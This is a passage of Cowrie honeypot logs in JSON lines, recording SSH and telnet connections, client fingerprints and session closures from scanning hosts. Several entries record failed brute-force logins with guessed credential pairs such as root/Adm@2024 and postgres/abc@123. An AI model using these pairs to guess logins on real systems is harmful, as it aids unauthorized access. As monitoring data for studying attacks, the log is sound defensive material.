{"eventid":"cowrie.session.connect","src_ip":"47.17.208.12","src_port":46886,"dst_ip":"10.17.0.5","dst_port":23,"session":"f26d521ea2df","protocol":"telnet","message":"New connection: 47.17.208.12:46886 (10.17.0.5:23) [session: f26d521ea2df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:54.263998Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.17.208.12","src_port":46926,"dst_ip":"10.17.0.5","dst_port":23,"session":"17828c324715","protocol":"telnet","message":"New connection: 47.17.208.12:46926 (10.17.0.5:23) [session: 17828c324715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:54.656883Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55242,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d677f17b8ec","protocol":"telnet","message":"New connection: 185.26.126.47:55242 (159.203.135.109:23) [session: 6d677f17b8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:03.232197Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":43893,"dst_ip":"159.203.135.109","dst_port":22,"session":"d844c2662c82","protocol":"ssh","message":"New connection: 121.122.119.48:43893 (159.203.135.109:22) [session: d844c2662c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:09.264235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:09.269145Z","src_ip":"121.122.119.48","session":"d844c2662c82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:09.511930Z","src_ip":"121.122.119.48","session":"d844c2662c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Adm@2024","message":"login attempt [root/Adm@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:10.501091Z","src_ip":"121.122.119.48","session":"d844c2662c82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:11.748119Z","src_ip":"121.122.119.48","session":"d844c2662c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":62725,"dst_ip":"159.203.135.109","dst_port":22,"session":"228ec6194569","protocol":"ssh","message":"New connection: 178.27.90.142:62725 (159.203.135.109:22) [session: 228ec6194569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:12.262008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:12.267873Z","src_ip":"178.27.90.142","session":"228ec6194569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:12.370596Z","src_ip":"178.27.90.142","session":"228ec6194569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"abc@123","message":"login attempt [postgres/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:12.810666Z","src_ip":"178.27.90.142","session":"228ec6194569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:13.910893Z","src_ip":"178.27.90.142","session":"228ec6194569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":36624,"dst_ip":"10.17.0.5","dst_port":22,"session":"b666fa6c1e0b","protocol":"ssh","message":"New connection: 2.57.122.238:36624 (10.17.0.5:22) [session: b666fa6c1e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:15.256237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:15.261190Z","src_ip":"2.57.122.238","session":"b666fa6c1e0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:15.366643Z","src_ip":"2.57.122.238","session":"b666fa6c1e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:15.685076Z","src_ip":"2.57.122.238","session":"b666fa6c1e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:16.792553Z","src_ip":"2.57.122.238","session":"b666fa6c1e0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.70.153.3","src_port":46910,"dst_ip":"10.17.0.5","dst_port":23,"session":"d78c8f31e454","protocol":"telnet","message":"New connection: 152.70.153.3:46910 (10.17.0.5:23) [session: d78c8f31e454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:19.992468Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.70.153.3","src_port":46944,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0e5af79b553","protocol":"telnet","message":"New connection: 152.70.153.3:46944 (10.17.0.5:23) [session: b0e5af79b553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:20.713526Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":41778,"dst_ip":"159.203.135.109","dst_port":22,"session":"c29f182bd48f","protocol":"ssh","message":"New connection: 43.157.98.118:41778 (159.203.135.109:22) [session: c29f182bd48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:41.558503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:41.563761Z","src_ip":"43.157.98.118","session":"c29f182bd48f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:41.652128Z","src_ip":"43.157.98.118","session":"c29f182bd48f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password00","message":"login attempt [root/password00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:42.331024Z","src_ip":"43.157.98.118","session":"c29f182bd48f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:43.421093Z","src_ip":"43.157.98.118","session":"c29f182bd48f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00174760818481,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:47.448034Z","src_ip":"182.253.54.171","session":"a5ec5a23dbe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04618215560913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:51.038529Z","src_ip":"152.70.153.3","session":"d78c8f31e454","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.332865715026855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:51.046298Z","src_ip":"152.70.153.3","session":"b0e5af79b553","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00133037567139,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:22:52.285457Z","src_ip":"182.253.54.171","session":"b0d873265c26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":61808,"dst_ip":"159.203.135.109","dst_port":22,"session":"a38ceeaac687","protocol":"ssh","message":"New connection: 178.27.90.142:61808 (159.203.135.109:22) [session: a38ceeaac687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:05.802156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:05.806706Z","src_ip":"178.27.90.142","session":"a38ceeaac687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:05.910458Z","src_ip":"178.27.90.142","session":"a38ceeaac687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jq123456","message":"login attempt [root/Jq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:06.376644Z","src_ip":"178.27.90.142","session":"a38ceeaac687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:07.479368Z","src_ip":"178.27.90.142","session":"a38ceeaac687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.59010887145996,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:09.822137Z","src_ip":"185.26.126.47","session":"6d677f17b8ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":54258,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9234fb0559f","protocol":"ssh","message":"New connection: 43.157.98.118:54258 (159.203.135.109:22) [session: a9234fb0559f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:31.495903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:31.500714Z","src_ip":"43.157.98.118","session":"a9234fb0559f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:31.588781Z","src_ip":"43.157.98.118","session":"a9234fb0559f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$word@2025","message":"login attempt [root/Pa$$word@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:31.974700Z","src_ip":"43.157.98.118","session":"a9234fb0559f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:33.064787Z","src_ip":"43.157.98.118","session":"a9234fb0559f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.70.153.3","src_port":50730,"dst_ip":"10.17.0.5","dst_port":23,"session":"a85c555c51f2","protocol":"telnet","message":"New connection: 152.70.153.3:50730 (10.17.0.5:23) [session: a85c555c51f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:49.598180Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.70.153.3","src_port":50784,"dst_ip":"10.17.0.5","dst_port":23,"session":"a75f410f40fa","protocol":"telnet","message":"New connection: 152.70.153.3:50784 (10.17.0.5:23) [session: a75f410f40fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:51.339835Z"}
{"eventid":"cowrie.session.closed","duration":120.00155925750732,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:54.265434Z","src_ip":"47.17.208.12","session":"f26d521ea2df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00170993804932,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:54.658473Z","src_ip":"47.17.208.12","session":"17828c324715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.17.208.12","src_port":55684,"dst_ip":"10.17.0.5","dst_port":23,"session":"9574335b00c2","protocol":"telnet","message":"New connection: 47.17.208.12:55684 (10.17.0.5:23) [session: 9574335b00c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:54.825483Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.17.208.12","src_port":55712,"dst_ip":"10.17.0.5","dst_port":23,"session":"f36143c61b2f","protocol":"telnet","message":"New connection: 47.17.208.12:55712 (10.17.0.5:23) [session: f36143c61b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:55.245946Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":63076,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c590a9eb820","protocol":"ssh","message":"New connection: 178.27.90.142:63076 (159.203.135.109:22) [session: 2c590a9eb820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:59.536819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:59.542314Z","src_ip":"178.27.90.142","session":"2c590a9eb820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 